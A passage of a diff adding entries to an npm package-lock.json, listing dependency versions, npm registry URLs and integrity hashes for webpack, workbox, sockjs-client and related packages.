+                    "resolved": "https://registry.npmjs.org/sockjs-client/-/sockjs-client-1.6.1.tgz",
+                    "integrity": "sha512-2g0tjOR+fRs0amxENLi/q5TiJTqY+WXFOzb5UwXndlK6TO3U/mirZznpx6w34HVMoc3g7cY24yC/ZMIYnDlfkw==",
+                    "requires": {
+                        "debug": "^3.2.7",
+                        "eventsource": "^2.0.2",
+                        "faye-websocket": "^0.11.4",
+                        "inherits": "^2.0.4",
+                        "url-parse": "^1.5.10"
+                    },
+                    "dependencies": {
+                        "debug": {
+                            "version": "3.2.7",
+                            "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+                            "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+                            "requires": {
+                                "ms": "^2.1.1"
+                            }
+                        },
+                        "ms": {
+                            "version": "2.1.3",
+                            "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+                            "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
+                        }
+                    }
+                },
+                "string-width": {
+                    "version": "3.1.0",
+                    "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
+                    "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
+                    "requires": {
+                        "emoji-regex": "^7.0.1",
+                        "is-fullwidth-code-point": "^2.0.0",
+                        "strip-ansi": "^5.1.0"
+                    },
+                    "dependencies": {
+                        "ansi-regex": {
+                            "version": "4.1.1",
+                            "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz",
+                            "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g=="
+                        },
+                        "strip-ansi": {
+                            "version": "5.2.0",
+                            "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
+                            "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
+                            "requires": {
+                                "ansi-regex": "^4.1.0"
+                            }
+                        }
+                    }
+                },
+                "strip-ansi": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
+                    "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==",
+                    "requires": {
+                        "ansi-regex": "^2.0.0"
+                    }
+                },
+                "supports-color": {
+                    "version": "6.1.0",
+                    "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz",
+                    "integrity": "sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==",
+                    "requires": {
+                        "has-flag": "^3.0.0"
+                    }
+                },
+                "to-regex-range": {
+                    "version": "2.1.1",
+                    "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz",
+                    "integrity": "sha512-ZZWNfCjUokXXDGXFpZehJIkZqq91BcULFq/Pi7M5i4JnxXdhMKAK682z8bCW3o8Hj1wuuzoKcW3DfVzaP6VuNg==",
+                    "requires": {
+                        "is-number": "^3.0.0",
+                        "repeat-string": "^1.6.1"
+                    }
+                },
+                "wrap-ansi": {
+                    "version": "5.1.0",
+                    "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz",
+                    "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==",
+                    "requires": {
+                        "ansi-styles": "^3.2.0",
+                        "string-width": "^3.0.0",
+                        "strip-ansi": "^5.0.0"
+                    },
+                    "dependencies": {
+                        "ansi-regex": {
+                            "version": "4.1.1",
+                            "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz",
+                            "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g=="
+                        },
+                        "strip-ansi": {
+                            "version": "5.2.0",
+                            "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
+                            "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
+                            "requires": {
+                                "ansi-regex": "^4.1.0"
+                            }
+                        }
+                    }
+                },
+                "ws": {
+                    "version": "6.2.2",
+                    "resolved": "https://registry.npmjs.org/ws/-/ws-6.2.2.tgz",
+                    "integrity": "sha512-zmhltoSR8u1cnDsD43TX59mzoMZsLKqUweyYBAIvTngR3shc0W6aOZylZmq/7hqyVxPdi+5Ud2QInblgyE72fw==",
+                    "requires": {
+                        "async-limiter": "~1.0.0"
+                    }
+                },
+                "y18n": {
+                    "version": "4.0.3",
+                    "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz",
+                    "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ=="
+                },
+                "yargs": {
+                    "version": "13.3.2",
+                    "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz",
+                    "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==",
+                    "requires": {
+                        "cliui": "^5.0.0",
+                        "find-up": "^3.0.0",
+                        "get-caller-file": "^2.0.1",
+                        "require-directory": "^2.1.1",
+                        "require-main-filename": "^2.0.0",
+                        "set-blocking": "^2.0.0",
+                        "string-width": "^3.0.0",
+                        "which-module": "^2.0.0",
+                        "y18n": "^4.0.0",
+                        "yargs-parser": "^13.1.2"
+                    }
+                },
+                "yargs-parser": {
+                    "version": "13.1.2",
+                    "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz",
+                    "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==",
+                    "requires": {
+                        "camelcase": "^5.0.0",
+                        "decamelize": "^1.2.0"
+                    }
+                }
+            }
+        },
+        "webpack-hot-middleware": {
+            "version": "2.25.2",
+            "resolved": "https://registry.npmjs.org/webpack-hot-middleware/-/webpack-hot-middleware-2.25.2.tgz",
+            "integrity": "sha512-CVgm3NAQyfdIonRvXisRwPTUYuSbyZ6BY7782tMeUzWOO7RmVI2NaBYuCp41qyD4gYCkJyTneAJdK69A13B0+A==",
+            "requires": {
+                "ansi-html-community": "0.0.8",
+                "html-entities": "^2.1.0",
+                "strip-ansi": "^6.0.0"
+            },
+            "dependencies": {
+                "ansi-html-community": {
+                    "version": "0.0.8",
+                    "resolved": "https://registry.npmjs.org/ansi-html-community/-/ansi-html-community-0.0.8.tgz",
+                    "integrity": "sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw=="
+                },
+                "ansi-regex": {
+                    "version": "5.0.1",
+                    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+                    "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+                },
+                "html-entities": {
+                    "version": "2.3.3",
+                    "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.3.3.tgz",
+                    "integrity": "sha512-DV5Ln36z34NNTDgnz0EWGBLZENelNAtkiFA4kyNOG2tDI6Mz1uSWiq1wAKdyjnJwyDiDO7Fa2SO1CTxPXL8VxA=="
+                },
+                "strip-ansi": {
+                    "version": "6.0.1",
+                    "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+                    "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+                    "requires": {
+                        "ansi-regex": "^5.0.1"
+                    }
+                }
+            }
+        },
+        "webpack-log": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/webpack-log/-/webpack-log-2.0.0.tgz",
+            "integrity": "sha512-cX8G2vR/85UYG59FgkoMamwHUIkSSlV3bBMRsbxVXVUk2j6NleCKjQ/WE9eYg9WY4w25O9w8wKP4rzNZFmUcUg==",
+            "requires": {
+                "ansi-colors": "^3.0.0",
+                "uuid": "^3.3.2"
+            }
+        },
+        "webpack-merge": {
+            "version": "4.2.2",
+            "resolved": "https://registry.npmjs.org/webpack-merge/-/webpack-merge-4.2.2.tgz",
+            "integrity": "sha512-TUE1UGoTX2Cd42j3krGYqObZbOD+xF7u28WB7tfUordytSjbWTIjK/8V0amkBfTYN4/pB/GIDlJZZ657BGG19g==",
+            "requires": {
+                "lodash": "^4.17.15"
+            }
+        },
+        "webpack-sources": {
+            "version": "1.4.3",
+            "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz",
+            "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==",
+            "requires": {
+                "source-list-map": "^2.0.0",
+                "source-map": "~0.6.1"
+            },
+            "dependencies": {
+                "source-map": {
+                    "version": "0.6.1",
+                    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+                    "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
+                }
+            }
+        },
+        "webpack-stats-plugin": {
+            "version": "0.3.2",
+            "resolved": "https://registry.npmjs.org/webpack-stats-plugin/-/webpack-stats-plugin-0.3.2.tgz",
+            "integrity": "sha512-kxEtPQ6lBBik2qtJlsZkiaDMI6rGXe9w1kLH9ZCdt0wgCGVnbwwPlP60cMqG6tILNFYqXDxNt4+c4OIIuE+Fnw=="
+        },
+        "webpack-virtual-modules": {
+            "version": "0.2.2",
+            "resolved": "https://registry.npmjs.org/webpack-virtual-modules/-/webpack-virtual-modules-0.2.2.tgz",
+            "integrity": "sha512-kDUmfm3BZrei0y+1NTHJInejzxfhtU8eDj2M7OKb2IWrPFAeO1SOH2KuQ68MSZu9IGEHcxbkKKR1v18FrUSOmA==",
+            "requires": {
+                "debug": "^3.0.0"
+            },
+            "dependencies": {
+                "debug": {
+                    "version": "3.2.7",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+                    "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+                    "requires": {
+                        "ms": "^2.1.1"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.3",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+                    "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
+                }
+            }
+        },
+        "websocket-driver": {
+            "version": "0.7.4",
+            "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz",
+            "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==",
+            "requires": {
+                "http-parser-js": ">=0.5.1",
+                "safe-buffer": ">=5.1.0",
+                "websocket-extensions": ">=0.1.1"
+            }
+        },
+        "websocket-extensions": {
+            "version": "0.1.4",
+            "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.4.tgz",
+            "integrity": "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg=="
+        },
+        "which": {
+            "version": "1.3.1",
+            "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
+            "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
+            "requires": {
+                "isexe": "^2.0.0"
+            }
+        },
+        "which-boxed-primitive": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz",
+            "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==",
+            "requires": {
+                "is-bigint": "^1.0.1",
+                "is-boolean-object": "^1.1.0",
+                "is-number-object": "^1.0.4",
+                "is-string": "^1.0.5",
+                "is-symbol": "^1.0.3"
+            }
+        },
+        "which-module": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz",
+            "integrity": "sha512-B+enWhmw6cjfVC7kS8Pj9pCrKSc5txArRyaYGe088shv/FGWH+0Rjx/xPgtsWfsUtS27FkP697E4DDhgrgoc0Q=="
+        },
+        "wide-align": {
+            "version": "1.1.5",
+            "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz",
+            "integrity": "sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==",
+            "requires": {
+                "string-width": "^1.0.2 || 2 || 3 || 4"
+            }
+        },
+        "widest-line": {
+            "version": "3.1.0",
+            "resolved": "https://registry.npmjs.org/widest-line/-/widest-line-3.1.0.tgz",
+            "integrity": "sha512-NsmoXalsWVDMGupxZ5R08ka9flZjjiLvHVAWYOKtiKM8ujtZWr9cRffak+uSE48+Ob8ObalXpwyeUiyDD6QFgg==",
+            "requires": {
+                "string-width": "^4.0.0"
+            },
+            "dependencies": {
+                "ansi-regex": {
+                    "version": "5.0.1",
+                    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+                    "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+                },
+                "is-fullwidth-code-point": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+                    "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="
+                },
+                "string-width": {
+                    "version": "4.2.3",
+                    "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+                    "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+                    "requires": {
+                        "emoji-regex": "^8.0.0",
+                        "is-fullwidth-code-point": "^3.0.0",
+                        "strip-ansi": "^6.0.1"
+                    }
+                },
+                "strip-ansi": {
+                    "version": "6.0.1",
+                    "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+                    "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+                    "requires": {
+                        "ansi-regex": "^5.0.1"
+                    }
+                }
+            }
+        },
+        "window-size": {
+            "version": "0.1.0",
+            "resolved": "https://registry.npmjs.org/window-size/-/window-size-0.1.0.tgz",
+            "integrity": "sha512-1pTPQDKTdd61ozlKGNCjhNRd+KPmgLSGa3mZTHoOliaGcESD8G1PXhh7c1fgiPjVbNVfgy2Faw4BI8/m0cC8Mg=="
+        },
+        "with": {
+            "version": "5.1.1",
+            "resolved": "https://registry.npmjs.org/with/-/with-5.1.1.tgz",
+            "integrity": "sha512-uAnSsFGfSpF6DNhBXStvlZILfHJfJu4eUkfbRGk94kGO1Ta7bg6FwfvoOhhyHAJuFbCw+0xk4uJ3u57jLvlCJg==",
+            "requires": {
+                "acorn": "^3.1.0",
+                "acorn-globals": "^3.0.0"
+            }
+        },
+        "with-open-file": {
+            "version": "0.1.7",
+            "resolved": "https://registry.npmjs.org/with-open-file/-/with-open-file-0.1.7.tgz",
+            "integrity": "sha512-ecJS2/oHtESJ1t3ZfMI3B7KIDKyfN0O16miWxdn30zdh66Yd3LsRFebXZXq6GU4xfxLf6nVxp9kIqElb5fqczA==",
+            "requires": {
+                "p-finally": "^1.0.0",
+                "p-try": "^2.1.0",
+                "pify": "^4.0.1"
+            },
+            "dependencies": {
+                "pify": {
+                    "version": "4.0.1",
+                    "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
+                    "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g=="
+                }
+            }
+        },
+        "word-wrap": {
+            "version": "1.2.3",
+            "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz",
+            "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ=="
+        },
+        "wordwrap": {
+            "version": "0.0.2",
+            "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-0.0.2.tgz",
+            "integrity": "sha512-xSBsCeh+g+dinoBv3GAOWM4LcVVO68wLXRanibtBSdUvkGWQRGeE9P7IwU9EmDDi4jA6L44lz15CGMwdw9N5+Q=="
+        },
+        "workbox-background-sync": {
+            "version": "4.3.1",
+            "resolved": "https://registry.npmjs.org/workbox-background-sync/-/workbox-background-sync-4.3.1.tgz",
+            "integrity": "sha512-1uFkvU8JXi7L7fCHVBEEnc3asPpiAL33kO495UMcD5+arew9IbKW2rV5lpzhoWcm/qhGB89YfO4PmB/0hQwPRg==",
+            "requires": {
+                "workbox-core": "^4.3.1"
+            }
+        },
+        "workbox-broadcast-update": {
+            "version": "4.3.1",
+            "resolved": "https://registry.npmjs.org/workbox-broadcast-update/-/workbox-broadcast-update-4.3.1.tgz",
+            "integrity": "sha512-MTSfgzIljpKLTBPROo4IpKjESD86pPFlZwlvVG32Kb70hW+aob4Jxpblud8EhNb1/L5m43DUM4q7C+W6eQMMbA==",
+            "requires": {
+                "workbox-core": "^4.3.1"
+            }
+        },
+        "workbox-build": {
+            "version": "4.3.1",
+            "resolved": "https://registry.npmjs.org/workbox-build/-/workbox-build-4.3.1.tgz",
+            "integrity": "sha512-UHdwrN3FrDvicM3AqJS/J07X0KXj67R8Cg0waq1MKEOqzo89ap6zh6LmaLnRAjpB+bDIz+7OlPye9iii9KBnxw==",
+            "requires": {
+                "@babel/runtime": "^7.3.4",
+                "@hapi/joi": "^15.0.0",
+                "common-tags": "^1.8.0",
+                "fs-extra": "^4.0.2",
+                "glob": "^7.1.3",
+                "lodash.template": "^4.4.0",
+                "pretty-bytes": "^5.1.0",
+                "stringify-object": "^3.3.0",
+                "strip-comments": "^1.0.2",
+                "workbox-background-sync": "^4.3.1",
+                "workbox-broadcast-update": "^4.3.1",
+                "workbox-cacheable-response": "^4.3.1",
+                "workbox-core": "^4.3.1",
+                "workbox-expiration": "^4.3.1",
+                "workbox-google-analytics": "^4.3.1",
+                "workbox-navigation-preload": "^4.3.1",
+                "workbox-precaching": "^4.3.1",
+                "workbox-range-requests": "^4.3.1",
+                "workbox-routing": "^4.3.1",
+                "workbox-strategies": "^4.3.1",
+                "workbox-streams": "^4.3.1",
+                "workbox-sw": "^4.3.1",
+                "workbox-window": "^4.3.1"
+            },
+            "dependencies": {
+                "fs-extra": {
+                    "version": "4.0.3",
+                    "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-4.0.3.tgz",
+                    "integrity": "sha512-q6rbdDd1o2mAnQreO7YADIxf/Whx4AHBiRf6d+/cVT8h44ss+lHgxf1FemcqDnQt9X3ct4McHr+JMGlYSsK7Cg==",
+                    "requires": {
+                        "graceful-fs": "^4.1.2",
+                        "jsonfile": "^4.0.0",
+                        "universalify": "^0.1.0"
+                    }
+                },
+                "jsonfile": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz",
+                    "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==",
+                    "requires": {
+                        "graceful-fs": "^4.1.6"
+                    }
+                }
+            }
+        },
+        "workbox-cacheable-response": {
+            "version": "4.3.1",
+            "resolved": "https://registry.npmjs.org/workbox-cacheable-response/-/workbox-cacheable-response-4.3.1.tgz",
+            "integrity": "sha512-Rp5qlzm6z8IOvnQNkCdO9qrDgDpoPNguovs0H8C+wswLuPgSzSp9p2afb5maUt9R1uTIwOXrVQMmPfPypv+npw==",
+            "requires": {
+                "workbox-core": "^4.3.1"
+            }
+        },
+        "workbox-core": {
+            "version": "4.3.1",
+            "resolved": "https://registry.npmjs.org/workbox-core/-/workbox-core-4.3.1.tgz",
+            "integrity": "sha512-I3C9jlLmMKPxAC1t0ExCq+QoAMd0vAAHULEgRZ7kieCdUd919n53WC0AfvokHNwqRhGn+tIIj7vcb5duCjs2Kg=="
+        },
+        "workbox-expiration": {
+            "version": "4.3.1",
+            "resolved": "https://registry.npmjs.org/workbox-expiration/-/workbox-expiration-4.3.1.tgz",
+            "integrity": "sha512-vsJLhgQsQouv9m0rpbXubT5jw0jMQdjpkum0uT+d9tTwhXcEZks7qLfQ9dGSaufTD2eimxbUOJfWLbNQpIDMPw==",
+            "requires": {
+                "workbox-core": "^4.3.1"
+            }
+        },
+        "workbox-google-analytics": {
+            "version": "4.3.1",
+            "resolved": "https://registry.npmjs.org/workbox-google-analytics/-/workbox-google-analytics-4.3.1.tgz",
+            "integrity": "sha512-xzCjAoKuOb55CBSwQrbyWBKqp35yg1vw9ohIlU2wTy06ZrYfJ8rKochb1MSGlnoBfXGWss3UPzxR5QL5guIFdg==",
+            "requires": {
+                "workbox-background-sync": "^4.3.1",
+                "workbox-core": "^4.3.1",
+                "workbox-routing": "^4.3.1",
+                "workbox-strategies": "^4.3.1"
+            }
+        },
+        "workbox-navigation-preload": {
+            "version": "4.3.1",
+            "resolved": "https://registry.npmjs.org/workbox-navigation-preload/-/workbox-navigation-preload-4.3.1.tgz",
+            "integrity": "sha512-K076n3oFHYp16/C+F8CwrRqD25GitA6Rkd6+qAmLmMv1QHPI2jfDwYqrytOfKfYq42bYtW8Pr21ejZX7GvALOw==",
+            "requires": {
+                "workbox-core": "^4.3.1"
+            }
+        },
+        "workbox-precaching": {
+            "version": "4.3.1",
+            "resolved": "https://registry.npmjs.org/workbox-precaching/-/workbox-precaching-4.3.1.tgz",
+            "integrity": "sha512-piSg/2csPoIi/vPpp48t1q5JLYjMkmg5gsXBQkh/QYapCdVwwmKlU9mHdmy52KsDGIjVaqEUMFvEzn2LRaigqQ==",
+            "requires": {
+                "workbox-core": "^4.3.1"
+            }
+        },
+        "workbox-range-requests": {
+            "version": "4.3.1",
+            "resolved": "https://registry.npmjs.org/workbox-range-requests/-/workbox-range-requests-4.3.1.tgz",
+            "integrity": "sha512-S+HhL9+iTFypJZ/yQSl/x2Bf5pWnbXdd3j57xnb0V60FW1LVn9LRZkPtneODklzYuFZv7qK6riZ5BNyc0R0jZA==",
+            "requires": {
+                "workbox-core": "^4.3.1"
+            }
+        },
+        "workbox-routing": {
+            "version": "4.3.1",
+            "resolved": "https://registry.npmjs.org/workbox-routing/-/workbox-routing-4.3.1.tgz",
+            "integrity": "sha512-FkbtrODA4Imsi0p7TW9u9MXuQ5P4pVs1sWHK4dJMMChVROsbEltuE79fBoIk/BCztvOJ7yUpErMKa4z3uQLX+g==",
+            "requires": {
+                "workbox-core": "^4.3.1"
+            }
+        },
+        "workbox-strategies": {
+            "version": "4.3.1",
+            "resolved": "https://registry.npmjs.org/workbox-strategies/-/workbox-strategies-4.3.1.tgz",
+            "integrity": "sha512-F/+E57BmVG8dX6dCCopBlkDvvhg/zj6VDs0PigYwSN23L8hseSRwljrceU2WzTvk/+BSYICsWmRq5qHS2UYzhw==",
+            "requires": {
+                "workbox-core": "^4.3.1"
+            }
+        },
+        "workbox-streams": {
+            "version": "4.3.1",
+            "resolved": "https://registry.npmjs.org/workbox-streams/-/workbox-streams-4.3.1.tgz",
+            "integrity": "sha512-4Kisis1f/y0ihf4l3u/+ndMkJkIT4/6UOacU3A4BwZSAC9pQ9vSvJpIi/WFGQRH/uPXvuVjF5c2RfIPQFSS2uA==",
+            "requires": {
+                "workbox-core": "^4.3.1"
+            }
+        },
+        "workbox-sw": {
+            "version": "4.3.1",
+            "resolved": "https://registry.npmjs.org/workbox-sw/-/workbox-sw-4.3.1.tgz",
+            "integrity": "sha512-0jXdusCL2uC5gM3yYFT6QMBzKfBr2XTk0g5TPAV4y8IZDyVNDyj1a8uSXy3/XrvkVTmQvLN4O5k3JawGReXr9w=="
+        },
+        "workbox-window": {
+            "version": "4.3.1",
+            "resolved": "https://registry.npmjs.org/workbox-window/-/workbox-window-4.3.1.tgz",
+            "integrity": "sha512-C5gWKh6I58w3GeSc0wp2Ne+rqVw8qwcmZnQGpjiek8A2wpbxSJb1FdCoQVO+jDJs35bFgo/WETgl1fqgsxN0Hg==",
+            "requires": {
+                "workbox-core": "^4.3.1"
+            }
+        },
+        "worker-farm": {
+            "version": "1.7.0",
+            "resolved": "https://registry.npmjs.org/worker-farm/-/worker-farm-1.7.0.tgz",
+            "integrity": "sha512-rvw3QTZc8lAxyVrqcSGVm5yP/IJ2UcB3U0graE3LCFoZ0Yn2x4EoVSqJKdB/T5M+FLcRPjz4TDacRf3OCfNUzw==",
+            "requires": {
+                "errno": "~0.1.7"
+            }
+        },
+        "wrap-ansi": {
+            "version": "7.0.0",
+            "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
+            "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
+            "requires": {
+                "ansi-styles": "^4.0.0",
+                "string-width": "^4.1.0",
+                "strip-ansi": "^6.0.0"
+            },
+            "dependencies": {
+                "ansi-regex": {
+                    "version": "5.0.1",
+                    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+                    "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+                },
+                "ansi-styles": {
+                    "version": "4.3.0",
+                    "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+                    "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+                    "requires": {
+                        "color-convert": "^2.0.1"
+                    }
+                },
+                "color-convert": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+                    "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+                    "requires": {
+                        "color-name": "~1.1.4"
+                    }
+                },
+                "color-name": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+                    "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+                },
+                "is-fullwidth-code-point": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+                    "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="
+                },
+                "string-width": {
+                    "version": "4.2.3",
